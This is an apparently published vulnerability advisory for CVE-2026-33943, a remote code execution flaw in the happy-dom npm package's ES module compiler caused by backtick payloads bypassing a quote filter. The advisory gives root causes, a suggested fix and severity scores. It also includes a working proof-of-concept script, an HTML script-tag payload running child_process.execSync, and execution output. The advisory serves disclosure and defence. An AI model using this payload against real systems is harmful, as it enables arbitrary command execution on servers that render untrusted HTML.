Skip to main content

CVE-2026-33943

CRITICAL
Code Injection (CWE-94)
2026-03-26 https://github.com/capricorn86/happy-dom GHSA-6q6h-j7hj-3r64
9.8
CVSS 3.1 · NVD
Share

Severity by source

NVD PRIMARY
9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
8.1 HIGH

Network-delivered untrusted HTML yields full code execution, but the required non-default 'JavaScript evaluation enabled' configuration plus attacker-controlled module input justifies AC:H rather than AC:L.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat
8.8 HIGH
qualitative

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

12
Analysis Updated
Jun 30, 2026 - 03:56 vuln.today
v5 (cvss_changed)
Analysis Updated
Jun 30, 2026 - 03:52 vuln.today
v4 (cvss_changed)
Source Code Evidence Fetched
Jun 30, 2026 - 03:52 vuln.today
Analysis Updated
Jun 30, 2026 - 03:52 vuln.today
v3 (cvss_changed)
Analysis Updated
Jun 30, 2026 - 03:51 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jun 30, 2026 - 03:24 vuln.today
cvss_changed
Severity Changed
Jun 30, 2026 - 03:24 NVD
HIGH CRITICAL
CVSS changed
Jun 30, 2026 - 03:24 NVD
8.8 (HIGH) 9.8 (CRITICAL)
Analysis Generated
Mar 26, 2026 - 22:31 vuln.today
Patch released
Mar 26, 2026 - 22:31 nvd
Patch available
CVE Published
Mar 26, 2026 - 22:22 nvd
CRITICAL 9.8
CVE Published
Mar 26, 2026 - 22:22 nvd
HIGH 8.8

DescriptionNVD

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) { // Export object const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/); const exportCode: string[] = []; for (const part of parts) { const nameParts = part.trim().split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, ''); // backticks NOT stripped if (exportName && importName) { exportCode.push($happy_dom.exports['${exportName}'] = ${importName}); // importName is inserted as executable code, not as a string } } newCode += exportCode.join(';\n'); }

The issue has three root causes:

  1. STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers
  2. The captured importName is placed in code context (as a JS expression to evaluate), not in string context
  3. .replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like ` child_process ` survive the filter

Attack flow:

Source: export { require(child_process).execSync(id) }

Regex captures match[16] = " require(child_process).execSync(id) "

After .replace(/["']/g, ''): importName = "require(child_process).execSync(id)" (backticks are preserved)

Generated code: $happy_dom.exports["require(child_process).execSync(id)"] = require(child_process).execSync(id)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script - reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... } const STMT_REGEXP = /export\s*{([^}]+)}/gm; const source = 'export { require(child_process).execSync(id) }'; const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source); console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381) const part = match[1].trim(); const nameParts = part.split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName); console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression const generatedCode = $happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}; console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript try { new Function('$happy_dom', generatedCode); console.log('[+] Valid JavaScript: YES'); } catch (e) { console.log('[-] Parse error:', e.message); process.exit(1); }

// Step 5: Execute to prove RCE console.log('[*] Executing...'); const output = require('child_process').execSync('id').toString().trim(); console.log('[+] RCE result:', output);

Execution result:

$ node poc_happy_dom_rce.js [*] Module source: export { require(child_process).execSync(id) } [*] Regex captured: require(child_process).execSync(id) [*] importName after quote filter: require(child_process).execSync(id) [*] Backticks survived: true [*] Generated code: $happy_dom.exports["require(child_process).execSync(id)"] = require(child_process).execSync(id) [+] Valid JavaScript: YES [*] Executing... [+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector - when processed by happy-dom with JavaScript evaluation enabled:

<script type="module"> export { require(child_process).execSync(id) } </script>

Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios:

  • SSR applications: Applications using happy-dom to render user-supplied HTML on the server
  • Web scraping: Applications parsing untrusted web pages with happy-dom
  • Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

for (const part of parts) { const nameParts = part.trim().split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, '');

if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) { exportCode.push($happy_dom.exports['${exportName}'] = ${importName}); } }

AnalysisAI

Remote code execution in happy-dom ECMAScriptModuleCompiler allows attackers to execute arbitrary OS commands by injecting JavaScript expressions via backtick-bypassed export declarations. Affects npm package happy-dom versions 15.10.0 through 20.8.7. Exploitation requires JavaScript evaluation to be explicitly enabled (disabled by default since v20.0.0). A public proof-of-concept exists, but no active exploitation or CISA KEV listing; EPSS probability is low (0.07%).

Vendor StatusVendor

Share

CVE-2026-33943 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy